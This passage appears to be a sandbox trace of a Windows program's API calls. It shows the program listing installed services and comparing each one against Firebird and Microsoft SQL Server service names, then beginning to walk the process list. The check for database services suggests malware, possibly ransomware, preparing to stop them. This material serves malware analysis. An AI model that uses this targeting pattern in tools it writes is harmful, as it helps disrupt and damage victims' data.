lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 1 [0101.687] CloseServiceHandle (hSCObject=0x4eea20) returned 1 [0101.687] lstrlenW (lpString="Appinfo") returned 7 [0101.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0101.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0101.687] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0101.687] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0101.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0101.688] lstrlenW (lpString="AppXSvc") returned 7 [0101.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0101.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0101.688] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0101.688] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0101.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0101.688] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0101.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0101.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0101.688] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0101.688] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0101.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0101.688] lstrlenW (lpString="Audiosrv") returned 8 [0101.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0101.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0101.688] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0101.688] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0101.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0101.688] lstrlenW (lpString="BFE") returned 3 [0101.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0101.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0101.688] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0101.688] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0101.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0101.688] lstrlenW (lpString="BITS") returned 4 [0101.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0101.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0101.688] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0101.688] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0101.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0101.688] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0101.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0101.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0101.688] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0101.688] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0101.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0101.689] lstrlenW (lpString="CDPSvc") returned 6 [0101.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0101.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0101.689] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0101.689] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0101.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0101.689] lstrlenW (lpString="ClickToRunSvc") returned 13 [0101.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0101.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0101.689] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0101.689] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0101.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0101.689] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0101.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0101.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0101.689] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0101.689] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0101.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0101.689] lstrlenW (lpString="CryptSvc") returned 8 [0101.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0101.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0101.689] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0101.689] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0101.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0101.689] lstrlenW (lpString="DcomLaunch") returned 10 [0101.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0101.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0101.689] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0101.689] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0101.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0101.689] lstrlenW (lpString="DeviceAssociationService") returned 24 [0101.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0101.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0101.689] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0101.689] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0101.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0101.690] lstrlenW (lpString="Dhcp") returned 4 [0101.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0101.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0101.690] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0101.690] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0101.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0101.690] lstrlenW (lpString="Dnscache") returned 8 [0101.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0101.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0101.690] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0101.690] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0101.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0101.690] lstrlenW (lpString="DoSvc") returned 5 [0101.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0101.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0101.690] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0101.690] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0101.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0101.690] lstrlenW (lpString="DPS") returned 3 [0101.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0101.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0101.690] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0101.690] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0101.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0101.690] lstrlenW (lpString="DusmSvc") returned 7 [0101.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0101.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0101.690] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0101.690] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0101.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0101.690] lstrlenW (lpString="EventLog") returned 8 [0101.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0101.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0101.690] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0101.690] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0101.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0101.691] lstrlenW (lpString="EventSystem") returned 11 [0101.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0101.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0101.691] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0101.691] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0101.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0101.691] lstrlenW (lpString="FontCache") returned 9 [0101.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0101.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0101.691] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0101.691] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0101.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0101.691] lstrlenW (lpString="gpsvc") returned 5 [0101.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0101.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0101.691] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0101.691] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0101.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0101.691] lstrlenW (lpString="iphlpsvc") returned 8 [0101.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0101.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0101.691] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0101.691] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0101.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0101.691] lstrlenW (lpString="KeyIso") returned 6 [0101.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0101.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0101.691] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0101.691] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0101.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0101.691] lstrlenW (lpString="LanmanServer") returned 12 [0101.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0101.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0101.691] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0101.692] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0101.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0101.692] lstrlenW (lpString="LanmanWorkstation") returned 17 [0101.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0101.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0101.692] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0101.692] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0101.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0101.692] lstrlenW (lpString="lfsvc") returned 5 [0101.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0101.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0101.692] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0101.692] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0101.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0101.692] lstrlenW (lpString="lmhosts") returned 7 [0101.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0101.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0101.692] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0101.692] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0101.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0101.692] lstrlenW (lpString="LSM") returned 3 [0101.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0101.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0101.692] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0101.692] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0101.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0101.692] lstrlenW (lpString="MapsBroker") returned 10 [0101.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0101.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0101.692] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0101.692] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0101.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0101.692] lstrlenW (lpString="MpsSvc") returned 6 [0101.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0101.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0101.693] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0101.693] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0101.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0101.693] lstrlenW (lpString="NcbService") returned 10 [0101.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0101.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0101.693] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0101.693] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0101.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0101.693] lstrlenW (lpString="netprofm") returned 8 [0101.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0101.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0101.693] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0101.693] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0101.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0101.693] lstrlenW (lpString="NlaSvc") returned 6 [0101.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0101.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0101.693] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0101.693] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0101.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0101.693] lstrlenW (lpString="nsi") returned 3 [0101.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0101.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0101.693] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0101.693] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0101.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0101.693] lstrlenW (lpString="PcaSvc") returned 6 [0101.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0101.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0101.693] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0101.693] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0101.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0101.693] lstrlenW (lpString="PlugPlay") returned 8 [0101.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0101.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0101.694] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0101.694] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0101.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0101.694] lstrlenW (lpString="Power") returned 5 [0101.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0101.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0101.694] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0101.694] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0101.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0101.694] lstrlenW (lpString="ProfSvc") returned 7 [0101.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0101.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0101.694] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0101.694] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0101.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0101.694] lstrlenW (lpString="RpcEptMapper") returned 12 [0101.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0101.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0101.694] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0101.694] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0101.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0101.694] lstrlenW (lpString="RpcSs") returned 5 [0101.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0101.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0101.694] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0101.694] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0101.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0101.694] lstrlenW (lpString="SamSs") returned 5 [0101.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0101.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0101.694] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0101.694] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0101.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0101.694] lstrlenW (lpString="Schedule") returned 8 [0101.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0101.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0101.695] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0101.695] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0101.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0101.695] lstrlenW (lpString="SecurityHealthService") returned 21 [0101.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0101.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0101.695] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0101.695] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0101.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0101.695] lstrlenW (lpString="SENS") returned 4 [0101.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0101.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0101.695] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0101.695] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0101.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0101.695] lstrlenW (lpString="ShellHWDetection") returned 16 [0101.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0101.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0101.695] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0101.695] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0101.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0101.695] lstrlenW (lpString="Spooler") returned 7 [0101.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0101.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0101.695] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0101.695] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0101.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0101.695] lstrlenW (lpString="sppsvc") returned 6 [0101.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0101.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0101.695] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0101.695] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0101.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0101.696] lstrlenW (lpString="SSDPSRV") returned 7 [0101.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0101.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0101.696] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0101.696] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0101.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0101.696] lstrlenW (lpString="StateRepository") returned 15 [0101.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0101.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0101.696] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0101.696] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0101.696] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x513428 | out: hHeap=0x4b0000) returned 1 [0101.696] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x34c [0102.675] Process32FirstW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0102.675] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0102.676] lstrlenW (lpString="System") returned 6 [0102.676] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0102.677] lstrlenW (lpString="smss.exe") returned 8 [0102.677] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0102.678] lstrlenW (lpString="csrss.exe") returned 9 [0102.678] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0102.679] lstrlenW (lpString="wininit.exe") returned 11 [0102.679] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0102.680] lstrlenW (lpString="csrss.exe") returned 9 [0102.680] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0102.680] lstrlenW (lpString="winlogon.exe") returned 12 [0102.680] Process32NextW (in: hSnapshot=0x34c, 